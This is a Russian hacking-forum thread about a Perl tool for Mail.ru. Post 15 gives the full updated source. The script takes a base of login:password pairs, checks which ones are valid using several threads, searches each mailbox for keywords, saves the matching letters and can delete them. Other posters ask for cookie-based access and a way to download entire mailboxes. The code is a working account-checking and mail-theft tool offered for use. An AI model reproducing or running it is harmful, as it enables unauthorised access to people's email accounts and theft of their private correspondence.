Парсер писем для Mail.ru by Fepsis

Discussion in 'PHP' started by Fepsis, 21 Jun 2010.

  1. axe89

    axe89 Banned

    Joined:
    18 Aug 2008
    Messages:
    153
    Likes Received:
    49
    Reputations:
    -6
    а что скрипт уже неработает?
     
  2. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    303
    Likes Received:
    35
    Reputations:
    0
    были изминения на мейле. уже неработает
     
  3. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    303
    Likes Received:
    35
    Reputations:
    0
    В скрипте поменяйте http://win.mail.ru на http://e.mail.ru
    и все будет рабоать
     
    1 person likes this.
  4. rAnt

    rAnt New Member

    Joined:
    20 Jun 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Попробовал запустить скрипт с учетом всех инструкций и последних изменений, скрипт не сработал. На данный момент скрипт актуален или я что-то делаю не так?
     
  5. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    803
    Likes Received:
    391
    Reputations:
    72
    Вот лично сейчас проверил скрипт из первого поста, (изменений не вносил)...

    Скрипт отработал нормально.. По крайней мере выдернул письма где встречается слово "Facebook" из нескольких ящиках + адекватно прочекал на валид... проверял на 5-ти акках несколько раз.. всё нормально сработало...


    1) На всякий случай проверьте все-ли папки и файлы на месте... Должно быть всё как тут в архиве: http://zalil.ru/31318374
    (сам скрипт "check.pl", файл "base.txt", и папка "mails" всё должно лежать в одной папке...)
    2) Попробуйте запустить скрипт из консоли, то есть открыть сначало консоль, а потом прописать путь до скрипта там... Так по крайней мере должны отобразиться ошибки...


    Времени сейчас нет проверять другие функции скрипта, как и дорабатывать его.. Возможн когда нибудь потом...
     
    1 person likes this.
  6. rAnt

    rAnt New Member

    Joined:
    20 Jun 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Скрипт не работал потому, что я ставил в поиске вместо фразы букву "а" кирилическую. Можно ли как-нибудь этим скриптом выкачать абсолютно всю почту с ящика?
    А вообще спасибо за скриптец)
     
  7. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    803
    Likes Received:
    391
    Reputations:
    72
     
  8. Arx

    Arx New Member

    Joined:
    14 Jun 2011
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    А возможно тоже самое,только не через логин|пасс,а через куки?
     
  9. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    294
    Likes Received:
    42
    Reputations:
    -5
    а есть чё нить типо токового но только для рамблера?
     
  10. droptheacid

    droptheacid Member

    Joined:
    4 Oct 2009
    Messages:
    14
    Likes Received:
    5
    Reputations:
    5
    На валид чекает достаточно точно, а вот функция парсинга у меня не работает. Как то можно это исправить? И так же интересуюсь уже заданным вопросом - можно ли реализовать то же самое но с авторизацией по кукам?
     
  11. shurik8888

    shurik8888 New Member

    Joined:
    25 Aug 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Аналогично - не парсит и даже не ищет по названию.
    Жаль Жаль =(
     
  12. Excellent18

    Excellent18 New Member

    Joined:
    4 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    есть аналоги?
    надо скачать текст всех писем на мыле)
     
  13. Mr.Wekly

    Mr.Wekly New Member

    Joined:
    15 Sep 2011
    Messages:
    61
    Likes Received:
    3
    Reputations:
    5
    ТС обнови код программы.
    Пытаюсь запустить на бубунте
    и все...
     
  14. Mr.Wekly

    Mr.Wekly New Member

    Joined:
    15 Sep 2011
    Messages:
    61
    Likes Received:
    3
    Reputations:
    5
    Как я понял уже не актуально...
     
  15. jsolo13

    jsolo13 New Member

    Joined:
    6 Jan 2012
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Если кому еще интересно, я попытался актуализировать код. Изменения старался вносить по минимуму, проверял на двух своих мэйловских ящиках. Пользоваться на свой страх и риск по инструкциям Fepsis'а из первого поста :)

    Code:
    #!/usr/bin/perl 
    
    ################# By Fepsis for forum.antichat.ru #################
    
    use threads;
    use threads::shared;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use HTTP::Request::Common;
    use HTML::Entities;
    use Encode;
    use 5.010;
    
    ################# Config ###############
    
    my $t = 2;			# число потоков
    my $modCheckAcc = 0;		# если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
    my $modCheckMess = 1;		# если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
    
         my $query = 'вконтакте';	# запрос для поиска
    	 $query = encode("utf8", decode("cp1251", $query));
    
              my $formatTxt = 0;			# если = 1 - переводит письма в текст (удаляет html теги)
              my $modSaveMess = 1;		# если = 1 - сохраняет найденные письма в папку 'mails'
              my $modDelMess = 0;		# если = 1 - удаляет найденные письма
              my $modSearch = 0;			# если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
    
                   my $pattern = qr/ Пользователь (.+?) написал вам сообщение /;		# эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
    
    ############### End Config ##############
    
    my @bas : shared;
    my @threads;
    
    my $fileBad = 'bad.txt';
    my $fileGood = 'good.txt';
    my $srchRes = 'SearchResults.txt';
    my $mailsDir = 'mails';
    my $br = '<br>'; 
    my $type = '.htm';
    
    my $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
    my $cookie_jar = HTTP::Cookies->new();
    $ua->cookie_jar($cookie_jar);
    
    open(BASE, 'base.txt'); 
    chomp(@bas = <BASE>);
    close(BASE);
    
    sub logg
         {
    	my ($data, $file) = @_;
    	open(OUT, ">> ".$file);
    	print OUT "$data\n";
    	close(OUT);
         }
    
    sub arbyte
         {
    	my ($i) = @_;
    
    	while(my $acc = shift(@bas))
    	     {
    		print 'Thread #'.$i.': '.$acc."\n";
    		my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
    
    		if (authorization($login, $domain, $pass))
    		     {
    			if ($modCheckAcc == 1) 
    			     {
    				logg($acc, $fileGood);
    			     }
    
    			if ($modCheckMess == 1)
    			     {
    				check_mess($query, $login, $domain, $pass);
    			     }
    		     }
    
    		else 
    		     {
    			if($modCheckAcc == 1) {logg($acc, $fileBad);}
    		     }
    	     }
         }
    
    sub authorization
         {
    	my ($login, $domain, $pass) = @_;
    
    	$cookie_jar->clear();
    
    	my $ex = $ua->request(POST 'http://e.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    	if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
    	     {
    		return 1;
    	     }
         }
    
    sub check_mess
         {
    	my ($query, $login, $domain, $pass) = @_;
    
    	my ($ex, @messages, @tmpMess); 
    
    	my $j = 1;
    	while (1)
    	     {
    		$ex = NULL;
    		$ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
    
    		if (my @tmpMess = $ex->content() =~ /<input title=\".*?\" type=\"checkbox\" name=\"id\" value=\"(\d+?)\" id=\"/g) 
    		     {
    			push(@messages, @tmpMess);
    			say "checking page ".$j if ($j > 1);
    			$j++;			
    		     }
    		else {last;}
    		 }
    
    	foreach (@messages)
    	     {
    		$ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/readmsg?id='.$_);
    		my $content = $ex->content;
    		open ($fout, ">>", "log.txt");
    		say $fout $ex->content();		
    		close $fout;
    		my ($mess, $mess1, $mess2) = NULL;
    		($mess1) = $ex->content() =~ /(<div class=\"mr_read__top.*?\"><div class=\"mr_read__top_in\">.*?)<div id=\"ReceiptInfo\"/s;
    		($mess2) = $ex->content() =~ /(<div id="style_\d+?_BODY">.*?<\/div>)/s;
    		$mess = $mess1.$mess2;
    		$mess = encode("cp1251", decode("utf8", $mess));
    
    		if ($formatTxt == 1) 
    		     {
    			$mess =~ s/\s+/ /g;			# удаляем все пробелы (больше одного подряд), включая все знаки новой строки
    			$mess =~ s/<br>/\n/g;			# появляются новые знаки "новая строка"
    			$mess =~ s/<.+?>/ /g;
    			$mess =~ s/[^\S\n]+/ /g;		# удаляем все пробелы (больше одного подряд), исключая знаки новой строки
    			decode_entities($mess); 
    			$br = "\n"; 
    			$type = '.txt';
    		     }
    			 
    		if ($modSearch == 1)
    		     {
    			if ($mess =~ /$pattern/)
    			     {
    				$res = $1;
    				logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
    			     }
    			 }		
    		
    		if ($modSaveMess == 1)
    		     {
    			logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);			
    		     }
    			if ($modDelMess == 1)
    		     {
    			$ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/movemsg?remove&id='.$_);
    		     }
    	     }
         }
    	 
    for my $i (1..$t) 
         {
    	push @threads, threads->create(\&arbyte, $i);
         }
    
    foreach my $thread (@threads) 
         {
    	$thread->join();
         }
    
     
    1 person likes this.
  16. Alexandr II

    Alexandr II -=ImperatoR=-

    Joined:
    28 Dec 2007
    Messages:
    1,073
    Likes Received:
    642
    Reputations:
    87
    феп, а почему бы его не переделать в дельфях?!)
     
  17. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    197
    Likes Received:
    183
    Reputations:
    17
    Полезный скрипт. Спасибо.
     
  18. jsolo13

    jsolo13 New Member

    Joined:
    6 Jan 2012
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Почему именно на дельфях?
     
  19. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    494
    Likes Received:
    312
    Reputations:
    46
    ищите в чем конкретно косяк и почему не работает а я перепешу...просто влом копаться

    Alexandr II, а ты сашка никогда такого не советуй если знаешь что я могу прочитать))) бог перла таких как ты покарает)
     
  20. jsolo13

    jsolo13 New Member

    Joined:
    6 Jan 2012
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Так я ж переписал, или моя версия не работает?
     
Loading...
Similar Threads - Парсер писем Mail
  1. mail156
    Replies:
    1
    Views:
    2,465
  2. Axiomatic
    Replies:
    1
    Views:
    2,447
  3. winston14
    Replies:
    1
    Views:
    998
  4. LUMEN.BY
    Replies:
    2
    Views:
    2,397